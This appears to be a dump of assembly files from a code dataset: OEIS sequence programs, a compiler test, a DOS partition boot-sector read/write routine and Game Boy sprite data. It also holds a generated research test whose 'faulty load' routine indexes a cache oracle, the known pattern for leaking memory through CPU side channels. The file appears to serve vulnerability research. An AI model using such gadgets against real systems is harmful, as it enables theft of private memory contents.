,157527,160427,163361,166332,169338,172380,175458,178572,181724,184912,188137,191400,194700,198037,201413,204827,208279,211770,215299,218868,222475,226122,229809,233536,237303,241110,244957,248845,252774,256745,260756,264810,268905,273042,277221,281442,285707,290014,294364,298758,303195,307675,312200,316769,321382,326040,330742,335490,340282,345120,350004,354934,359910,364932,370000,375115,380277,385487,390743,396048,401400,406800,412248,417744,423290,428884,434527,440220,445962,451753,457595,463487,469429,475422,481465,487560,493705,499902,506151,512452,518805,525210,531667,538177,544740
bin $0,3
mul $0,36
div $0,168
mov $1,$0
| 195.5 | 1,486 | 0.816496 |
278f2ca0b76f15a8d54532a847a4b5dab8355823 | 432 | asm | Assembly | test-ok-NAS-43.asm | acastrauss/compiler_project | 540e96493350d5cb34a7259a74bb1ecb1f3a3a2b | [
"MIT"
] | null | null | null | test-ok-NAS-43.asm | acastrauss/compiler_project | 540e96493350d5cb34a7259a74bb1ecb1f3a3a2b | [
"MIT"
] | null | null | null | test-ok-NAS-43.asm | acastrauss/compiler_project | 540e96493350d5cb34a7259a74bb1ecb1f3a3a2b | [
"MIT"
] | null | null | null |
main:
PUSH %14
MOV %15,%14
SUBS %15,$8,%15
SUBS %15,$16,%15
SUBS %15,$4,%15
@main_body:
MOV $2,-4(%14)
MOV $1,-8(%14)
MOV $1,-12(%14)
MOV $0,-16(%14)
MOV $23,-20(%14)
MOV $0,-24(%14)
MOV $2,-28(%14)
@if0:
CMPS -4(%14),$3
JNE @false0
@true0:
MOV -12(%14),%0
ADDS $1,-12(%14),-12(%14)
JMP @exit0
@false0:
@exit0:
MOV $0,%13
JMP @main_exit
@main_exit:
MOV %14,%15
POP %14
RET | 14.4 | 27 | 0.5 |
3cad2ee2ef684d1fb1b74fca8d6de3e18e92c29a | 7,969 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_448.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_448.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_448.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x12a87, %rax
nop
add $41488, %r13
mov $0x6162636465666768, %r14
movq %r14, (%rax)
nop
nop
nop
add %r8, %r8
lea addresses_UC_ht+0x362f, %r14
nop
nop
nop
nop
nop
add $65351, %r9
movw $0x6162, (%r14)
nop
nop
xor $39541, %r9
lea addresses_UC_ht+0x1502f, %rsi
lea addresses_WC_ht+0xb647, %rdi
nop
nop
nop
nop
inc %rax
mov $72, %rcx
rep movsq
nop
sub $22904, %r13
lea addresses_normal_ht+0xdb87, %rsi
lea addresses_UC_ht+0x12e87, %rdi
nop
nop
nop
nop
nop
and %r9, %r9
mov $57, %rcx
rep movsw
nop
xor $15877, %r8
lea addresses_normal_ht+0xfe87, %rsi
lea addresses_WT_ht+0xc887, %rdi
nop
nop
nop
and %rax, %rax
mov $96, %rcx
rep movsb
nop
nop
nop
nop
add $20708, %r9
lea addresses_WC_ht+0x18687, %rsi
lea addresses_A_ht+0x9387, %rdi
nop
nop
inc %rax
mov $103, %rcx
rep movsw
add %r14, %r14
lea addresses_WC_ht+0x5507, %rsi
lea addresses_WT_ht+0xbce7, %rdi
nop
nop
nop
add $18330, %r14
mov $112, %rcx
rep movsq
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x12a07, %r14
nop
nop
nop
nop
nop
and $4347, %r13
mov (%r14), %r8
nop
nop
inc %rdi
lea addresses_WC_ht+0x7d87, %rsi
lea addresses_A_ht+0x19287, %rdi
nop
nop
and %rax, %rax
mov $58, %rcx
rep movsq
nop
nop
cmp $54515, %rsi
lea addresses_normal_ht+0x1072a, %r8
sub $46154, %r9
movb (%r8), %r13b
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WC_ht+0x1c087, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %r9
movq %r9, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x9c07, %rsi
lea addresses_WT_ht+0x6e87, %rdi
nop
nop
nop
nop
nop
and $48860, %rax
mov $118, %rcx
rep movsq
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WT_ht+0x1e1f7, %rdi
nop
nop
nop
inc %r13
movb (%rdi), %r9b
nop
inc %rcx
lea addresses_WC_ht+0x1687, %rsi
lea addresses_UC_ht+0x12fab, %rdi
nop
nop
sub $41680, %rax
mov $53, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $41477, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
// Load
mov $0x3464440000000e87, %rbx
nop
nop
nop
nop
nop
sub $13025, %rdi
movb (%rbx), %dl
nop
nop
nop
sub %r10, %r10
// Faulty Load
lea addresses_A+0xd687, %rbx
cmp $48301, %r8
movntdqa (%rbx), %xmm4
vpextrq $1, %xmm4, %rcx
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'44': 5184, '00': 16094, '48': 551}
48 44 00 00 00 00 44 48 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 48 00 00 00 44 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 48 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 48 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 48 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 48 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 48 00 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 44 00 00 00 00 44 48 00 00 48 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 48 00 00 48 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 00 00 48 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 48 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 48 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 48 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 00 00 00 48 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 48 00 00 00 44 00 00 00 44 44 48 00 00 48 00 00 00 00 44 48 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00
*/
| 32.659836 | 2,999 | 0.660058 |
c0dc8c7c98f707db631eb70b5e428bf03da89643 | 699 | asm | Assembly | oeis/001/A001850.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001850.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001850.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001850: Central Delannoy numbers: a(n) = Sum_{k=0..n} C(n,k)*C(n+k,k).
; Submitted by Simon Strandgaard
; 1,3,13,63,321,1683,8989,48639,265729,1462563,8097453,45046719,251595969,1409933619,7923848253,44642381823,252055236609,1425834724419,8079317057869,45849429914943,260543813797441,1482376214227923,8443414161166173,48141245001931263,274738209148561921,1569245074591690083,8970232353223635949,51313576749006450879,293733710358893793729,1682471873186160624243,9642641465118083682429,55294491352291112747007,317241780630136241094657,1820991621200098527441027,10457362855894862001750669
mov $2,$0
lpb $0
mov $3,$2
bin $3,$0
sub $0,1
pow $3,2
add $1,$3
mul $1,2
lpe
mov $0,$1
add $0,1
| 43.6875 | 481 | 0.81402 |
e7c1e2959ecef235dd0c98361c29ebc4e5df0e61 | 711 | asm | Assembly | programs/oeis/268/A268273.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/268/A268273.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/268/A268273.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A268273: Negabinary odious numbers (see comment).
; 1,3,4,6,9,11,12,15,16,18,21,23,24,26,29,30,33,35,36,38,41,43,44,47,48,50,53,54,57,59,60,63,64,66,69,71,72,74,77,78,81,83,84,86,89,91,92,95,96,98,101,103,104,106,109,110,113,115,116,119,120,122,125,126,129,131,132,134,137,139,140,143,144,146,149,151,152,154,157,158,161,163,164,166,169,171,172,175,176,178,181,182,185,187,188,191,192,194,197,199
mov $4,$0
mul $0,2
seq $0,72894 ; Let c(k) be defined as follows: c(1)=1, c(2)=n, c(k+2) = c(k+1)/2 + c(k)/2 if c(k+1) and c(k) have the same parity; c(k+2) = c(k+1)/2 + c(k)/2 + 1/2 otherwise; a(n) = limit_{ k -> infinity} c(k).
mov $3,$0
lpb $3
sub $3,2
lpe
mov $1,$3
mov $2,$4
mul $2,2
add $1,$2
mov $0,$1
| 44.4375 | 346 | 0.635724 |
45b5bafa8b05ca88ef16585fb3b084fe9a96a161 | 3,263 | asm | Assembly | install/lib/hdisk/partboot.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | install/lib/hdisk/partboot.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | install/lib/hdisk/partboot.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | ;========================================================
COMMENT #
PARTBOOT.ASM
Copyright (c) 1991 - Microsoft Corp.
All rights reserved.
Microsoft Confidential
=================================================
Reads in the first sector (boot record) of a hard
disk partition.
int ReadPartBootRec( struct Part *PartEntry, void *Buffer,
int DrvNum );
ARGUMENTS: PartEntry - Partition table entry structure
Buffer - Ptr to read buffer of 512 bytes
DrvNum - Physical hard disk number
RETURNS: int - 0 if successful
- !0 if error
=================================================
STRATEGY:
Does an int 13h function 2 which reads a
disk sector based on the following register
settings which are taken from the passed
parameters.
AL = Number of sectors to read
CH = Low 8 bits of max cylinder num
CL = Bits 6&7 high order bytes of
max cylinder num
Bits 0-5 max sector num
DH = Max head num
DL = Number of drives (ignored)
ES:BX = Ptr to buffer in memory
=================================================
johnhe - 02/07/99
END COMMENT #
; =======================================================
PartitionInfo struc
BootSig db ?
StartHead db ?
StartSector db ?
StartCyl db ?
PartType db ?
EndHead db ?
EndSec db ?
EndCyl db ?
RelativeSec dd ?
TotalSecs dd ?
PartitionInfo ends
; =======================================================
INCLUDE model.inc
; =======================================================
.CODE
; =======================================================
IF @DataSize
ReadPartBootRec PROC USES DS ES, PartEntry:PTR, Buffer:PTR, DrvNum:BYTE
ELSe
ReadPartBootRec PROC PartEntry:PTR, Buffer:PTR, DrvNum:BYTE
ENDIF
; lds BX,PartEntry ; DS:BX -> partition table entry
LoadPtr DS, BX, PartEntry ; DS:BX -> partition table entry
mov DH,[BX].StartHead ; DH == Disk head number
mov CX,WORD PTR [BX].StartSector ; CH == Cylinder, CL == Sector
mov DL,DrvNum ; DL == Physical disk number
; les BX,Buffer ; ES:BX -> Sector buffer
LoadPtr ES, BX, Buffer ; ES:BX -> Sector buffer
mov AX,0201h ; AH == Disk read, AL = 1 sector
int 13h ; ROM BIOS disk access
mov AX,-1 ; Setup for possible error
jc ReadBootRecExit ; Error check
xor AX,AX ; Signal no error
ReadBootRecExit:
ret
ReadPartBootRec ENDP
; =======================================================
IF @DataSize
WritePartBootRec PROC USES DS ES, PartEntry:PTR, Buffer:PTR, DrvNum:BYTE
ELSE
WritePartBootRec PROC PartEntry:PTR, Buffer:PTR, DrvNum:BYTE
ENDIF
; lds BX,PartEntry ; DS:BX -> partition table entry
LoadPtr DS, BX, PartEntry ; DS:BX -> partition table entry
mov DH,[BX].StartHead ; DH == Disk head number
mov CX,WORD PTR [BX].StartSector ; CH == Cylinder, CL == Sector
mov DL,DrvNum ; DL == Physical disk number
; les BX,Buffer ; ES:BX -> Sector buffer
LoadPtr ES, BX, Buffer ; ES:BX -> Sector buffer
mov AX,0301h ; AH == Disk read, AL = 1 sector
int 13h ; ROM BIOS disk access
mov AX,-1 ; Setup for possible error
jc WriteBootRecExit ; Error check
xor AX,AX ; Signal no error
WriteBootRecExit:
ret
WritePartBootRec ENDP
; =======================================================
END
| 23.817518 | 74 | 0.572479 |
f081dc64562709929ebab8298208fd756d440eeb | 68,467 | asm | Assembly | source/rom4/rom4_data.asm | evanbowman/Red | 85735269a46757305a81ad39f47034bc6cd97846 | [
"BSD-2-Clause"
] | 5 | 2021-08-30T16:18:55.000Z | 2021-10-30T20:23:32.000Z | source/rom4/rom4_data.asm | evanbowman/gbc-project | 85735269a46757305a81ad39f47034bc6cd97846 | [
"BSD-2-Clause"
] | null | null | null | source/rom4/rom4_data.asm | evanbowman/gbc-project | 85735269a46757305a81ad39f47034bc6cd97846 | [
"BSD-2-Clause"
] | null | null | null | ;;; ############################################################################
;;; NOTE: We're copying date from here with GDMA, so the eight byte alignment is
;;; important.
SECTION "SPRITESHEET1_PART3", ROMX, ALIGN[8], BANK[SPRITESHEET1_ROM_BANK + 2]
r4_SpriteSheetData::
r4_SpriteGreyWolfLR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$01,$00,$01,$00,$07,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$20,$00,$B0,$00,$F8,$00,$F8
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $08,$07,$00,$7F,$00,$7F,$00,$3F
DB $00,$3F,$01,$01,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$01,$01
DB $00,$FE,$80,$7F,$00,$FF,$00,$FF
DB $00,$FF,$E0,$FF,$60,$7F,$00,$3F
DB $20,$3F,$30,$3F,$30,$3F,$70,$77
DB $60,$67,$C0,$C6,$C0,$C6,$80,$8C
DB $00,$00,$00,$F0,$00,$FC,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$30,$BF,$38,$3F,$1C,$1F
DB $18,$19,$18,$19,$18,$19,$30,$33
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$F8,$00,$BC,$00,$9C,$00,$8E
DB $00,$8E,$00,$9E,$00,$DE,$00,$CC
DB $00,$C0,$00,$80,$00,$80,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$04,$00,$0D,$00,$1F,$00,$1F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$80,$00,$80,$00,$E0,$00,$F0
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$1F,$00,$3D,$00,$39,$00,$71
DB $00,$71,$00,$79,$00,$7B,$00,$33
DB $00,$03,$00,$01,$00,$01,$00,$00
DB $00,$00,$00,$0F,$00,$3F,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$0C,$FD,$1C,$FC,$38,$F8
DB $18,$98,$18,$98,$18,$98,$0C,$CC
DB $00,$7F,$01,$FE,$00,$FF,$00,$FF
DB $00,$FF,$07,$FF,$06,$FE,$00,$FC
DB $04,$FC,$0C,$FC,$0C,$FC,$0E,$EE
DB $06,$E6,$03,$63,$03,$63,$01,$31
DB $10,$E0,$00,$FE,$00,$FE,$00,$FC
DB $00,$FC,$80,$80,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$80,$80
r4_SpriteGreyWolfLREnd::
r4_SpriteGreyWolfRunL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$02,$00,$03,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$40,$00,$60,$00,$F0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$1F,$10,$0F,$01,$FE,$00,$FF
DB $00,$7F,$00,$7F,$03,$03,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$FC,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$C0,$FF,$C0,$FF
DB $40,$7F,$00,$7F,$08,$FF,$0E,$EE
DB $06,$76,$03,$3B,$01,$09,$00,$01
DB $00,$00,$00,$F8,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $01,$FF,$01,$FF,$03,$3F,$07,$7F
DB $0F,$7F,$03,$E3,$03,$83,$06,$86
DB $00,$00,$00,$00,$00,$C0,$00,$F0
DB $00,$F8,$00,$3E,$00,$1F,$00,$0F
DB $00,$07,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$02,$00,$03,$00,$0F,$00,$1F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$40,$00,$60,$00,$F0,$00,$F0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $10,$0F,$01,$FE,$00,$FF,$00,$7F
DB $00,$7F,$03,$03,$00,$00,$00,$00
DB $00,$00,$00,$01,$00,$03,$00,$06
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$C0,$FF,$C0,$FF,$20,$3F
DB $00,$7F,$00,$FF,$10,$F0,$38,$38
DB $18,$18,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$E0,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $01,$FF,$01,$BF,$03,$3F,$03,$3B
DB $01,$1D,$00,$1C,$00,$0C,$00,$04
DB $00,$00,$00,$00,$00,$C0,$00,$E0
DB $00,$F0,$00,$38,$00,$3F,$00,$1F
DB $00,$07,$00,$00,$80,$80,$80,$80
DB $C0,$C0,$E0,$E0,$60,$60,$20,$20
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$02,$00,$03,$00,$0F,$00,$1F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$40,$00,$60,$00,$F0,$00,$F0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $10,$0F,$01,$FE,$00,$FF,$00,$7F
DB $00,$7F,$03,$03,$00,$00,$00,$00
DB $0F,$0F,$1C,$1F,$00,$07,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$C0,$FF,$C0,$FF,$20,$3F
DB $00,$FF,$00,$FF,$00,$C0,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$C0,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$8F,$00,$0F,$00,$07
DB $00,$01,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$80
DB $00,$C0,$00,$F0,$00,$FD,$80,$BF
DB $78,$FF,$7C,$FC,$06,$E6,$00,$F8
DB $00,$FC,$00,$06,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$02,$00,$03
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$40,$00,$60
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$1F,$10,$0F,$01,$FE
